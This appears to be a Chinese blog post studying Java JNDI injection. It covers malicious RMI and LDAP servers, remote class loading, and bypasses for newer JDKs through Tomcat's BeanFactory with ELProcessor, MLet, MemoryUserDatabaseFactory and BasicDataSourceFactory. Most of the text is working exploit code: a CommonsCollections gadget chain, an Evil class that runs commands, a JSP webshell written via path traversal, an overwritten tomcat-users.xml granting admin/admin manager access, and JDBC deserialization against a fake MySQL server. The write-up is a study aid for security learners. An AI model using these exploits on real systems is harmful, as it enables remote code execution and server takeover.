JNDI注入学习
JNDI注入学习
JNDI我理解就是给资源起个名字,再根据名字来找资源,而资源又存在多种类型,如LDAP,RMI,DNS,CORBA
JNDI+RMI
JNDI客户端可以直接访问RMI服务(无引用)
RMI服务端,我们绑定remoteObj在注册中心,代码未变
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
}
}
JNDI客户端
public class JDNIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
IRemoteObj remoteobj = (IRemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteobj.sayHello("hello"));
}
}
成功执行,和RMI服务一致,跟进看看代码,重点看lookup,通过上下文找到RMI.registry调用原生lookup。所以JNDI服务中存在了RMI攻击,比如我们能控制JNDI客户端lookup中的参数即可伪造恶意RMI服务端完成攻击.

JNDI中的RMI攻击
攻击rmi的其实就是攻击原生lookup,两种思路,返回恶意异常类(ysoserial.exploit.listener),第二返回恶意对象,之前的文章都说过



第二种攻击:
被攻击者作为客户端通过lookup访问我们的恶意注册中心。反序列化处也是如上所说的反序列化了恶意的返回类,所以我们得绑定这个恶意类,可以结合之前的代码简单的改动,和RMI篇中通过代理伪造绕过bind中Remote代码一样,然后得实例化出RegistryImpl,反射修改
public class RMIServer {
public static void main(String[] args) throws Exception {
//CC1
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);
//生成Remote委托类
Remote remote = (Remote)(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler2
));
//实例化本地的注册中心
RegistryImpl registry1 = new RegistryImpl(1099);
//通过反射修改其中的bingings,注入恶意的
Field bindingsField = registry1.getClass().getDeclaredField("bindings");
bindingsField.setAccessible(true);
Map<String, Remote> bindings = (Map<String, Remote>) bindingsField.get(registry1);
bindings.put("remote",remote);
//必须得加
Thread.currentThread().join();
}
}

学习完JNDI中的RMI攻击后,这并不是JNDI注入
另一种使用JNDI的方式,使用引用,这个引用可以在RMI服务端直接就绑定,或者通过JNDI服务端重绑,这里通过后者演示
加入一个JNDI服务端
Reference的构造函数中依次为classname,factory,factoryLocation
public class JNDIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Evil","Evil","http://localhost:8080/Evil");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
Evil类编译成字节码,用python开启一个http服务即可

运行客户端,成功执行,这便是JNDI注入

整个流程是这样的,ldap换为rmi即可

首先看JNDI服务端中的操作,创建了一个Reference对象然后rebind,跟进代码发现同样是使用原生的rebind,从这个角度来JNDI服务端和RMI服务端可以互相攻击,但是由于JNDI注入中,这两者都是我们伪造的也就没有什么意义了,然后顺便看看后面的encodeObject

后面也很简单,因为Reference是不继承Remote,所以得封装成ReferenceWrapper,也就是取消JNDI服务端的话可以直接在RMI服务端上绑定ReferenceWrapper即可

接着看看如何导致最后加载恶意字节码的,lookup是返回了一个ReferenceWrapper_Stub,可想而知是JNDI服务端操作的,接着看重点的decodeObject

首先会判断是不是远程引用类然后进入getObjectInstance

我们注意动态代理和引用有产生什么不同,如果是引用,说明我们还需要加载,所以会进入getObjectFactoryFromReference

进行两次类加载,factoryName也就是我们的Evil类

第一次本地加载

第二次远程加载恶意类,

最后执行化导致恶意类执行,可以看出jndi是不需要任何依赖的,只需要依赖jdk版本

到了JDK 6u132, JDK 7u122, JDK 8u113做了升级无法使用JNDI注入+RMI,我们来看看做了哪些限制
即引入了trustURLCodebase属性,默认为false,即导致了无法进入,只能本地加载,因为本地加载我们可以让
classFactoryLocation=null,然后加载其classFactory

而jdk却对ldap进行了遗漏了,没有对ldap做任何的限制,导致了在jdk<=8u191之前仍然可以通过ldap绕过限制
此处没有什么好说的,对ldap也没有像rmi一样深入研究,copy网上的代码即可命令执行
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://localhost:8080/#Evil"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
在jkd8u191时,对其做了限制,在url远程加载时再次加入trustURLCodebase.
com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false

JNDI高版本Bypass
https://tttang.com/archive/1405/ 以后的部分就是对浅蓝师傅的文章进行复现分析
远程加载也就是彻底行不通了,我们只能从本地的加载类去利用了
即此处可以为null,

我们的ref仍然是可控的,也就是加载的类以及factory都是可控,可不可以使用本地加载factory,然后调用factory.getObjectInstance

BeanFactory+ELProcessor
即我们在这里找到了BeanFactory这个类,正好也拥有此函数,tomcat中的类org.apache.naming.factory.BeanFactory
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.23</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>8.5.23</version>
</dependency>


这里建议直接把poc复制了然后边调试边学习(代码出处JNDI Bypass - R0ser1 - 博客园),其实就是构造恶意代码,利用这个方法中存在反射调用
public class jndi_bypass_el {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
直接调试,看看里面代码需要怎么构造,就知道了这个poc为何这样写,加载了本地指定的类后进入其getObjectInstance

这里发现了实例化了我们的指定类,如果目标的服务器上存在恶意字节码就好,可以直接加载(随口一提)

获取forceString 对应的Content

反射获取eval方法,而此时的paramTypes为上面代码中写死的String类型

之后invoke反射调用方法,valueArray值也是可控的。通过ELProcessor命令执行。
其实可以看出不只是能够利用ELProcessor,我们可以加载本地的任意一个类,调用方法为String类型,其他的就不赘述了(GroovyClassLoader等)探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

BeanFactory+MLet
有一个不太一样的是这个类javax.management.loading.MLet,这个可以用来探索存在的链子
addURL函数,加入URLClassload中

其父类的loadClass正好远程加载。但只能加载类不能实例化的话是无法执行恶意代码的,但是可以用来探测存在的gadget。

原理是这样,我们先去加载我们要探索的gadget,然后远程再加我们的类,如果没有报错,说明成功加载也就是存在,如果不存在,第一步就会报错抛异常,无法加载
poc:
public class MLetJNDI {
public static void main(String[] args) throws Exception {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "org.apache.commons.collections.functors.InvokerTransformer"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("c", "Evil"));
Registry registry = LocateRegistry.createRegistry(1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
我的环境有cc,没有cb

这里只是最后转化报错,确实是正确的加载了

MemoryUserDatabaseFactory
而对于工厂的利用还有org.apache.catalina.users.MemoryUserDatabaseFactory类
xxe
里面存在MemoryUserDatabase.open函数,获取输入流然后解析xml文件,这里的输入流是我们控制的,存在xxe注入

poc:
public class JNDI_XXE {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
resourceRef.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/xxe.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exploit", referenceWrapper);
}
}
但由于是无回显的,所以要利用到xxe的外带,引入dtd

rce
还能够进行rce,在解析之前有一段规则的引入,填入users、groups、roles,后面写文件时取出

接着save方法中存在一个路径判断由于我们的pathname是一个远程url,也就是而已文件存放处而这里的catalina.base+pathname,为D:\Environment\Tomcat\apache-tomcat-8.5.57+http:10.10.10.10:8888\evil,如何让本机存在,通过路径穿越实现,即D:/Environment/Tomcat/apache-tomcat-8.5.57/http://127.0.0.1:8888/../../webapps/ROOT/evil.jsp
经过两次跳转后变成D:/Environment/Tomcat/apache-tomcat-8.5.57/webapps/ROOT/evil.jsp

即两种思路,直接写webshell,也就是如下evil.jsp
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
tomcat8不能,会进行html编码,tomcat7可以rce
public class evilMemory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", false,
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/evil.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
本地创建相同目录并开启http服务即可

部署war包在tomcat上

第二,如果存在manage/html界面,可以通过覆盖写conf/tomcat-users.xml
public class evilMemory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", false,
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-jmx"/>
<role rolename="admin-script"/>
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-status"/>
<role rolename="manager-gui"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
直接admin,admin登录

JDBC-RCE
先了解一下JDBC反序列化原理
JDBC在连接数据库时会反序列化收到的数据,而如果我们能控制jdbc的语句,也就能搭建一个恶意的数据库发送恶意数据导致rce
如下mysql版本(测试版本tomcat8)
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12 </version>
</dependency>
</dependencies>
在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor存在漏洞,这是一个拦截器,调用resultSetToMap

而其中会调用ResultSetImpl#getObject然后反序列化

如何构造恶意mysql这里不分析了https://github.com/4ra1n/mysql-fake-server,用别人写的工具即可
而ObjectFactory 的实现类存在着实例化数据源的如org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory

需要目标服务器存在数据库连接依赖以及存在反序列化链

public class JNDI_MYSQL {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.sql.DataSource",
null, "", "", false,
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:13240/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc"));
ref.add(new StringRefAddr("username", "deser_CC31_calc"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
FakeServer

成功弹出计算器

参考:
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖
java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园

浙公网安备 33010602011771号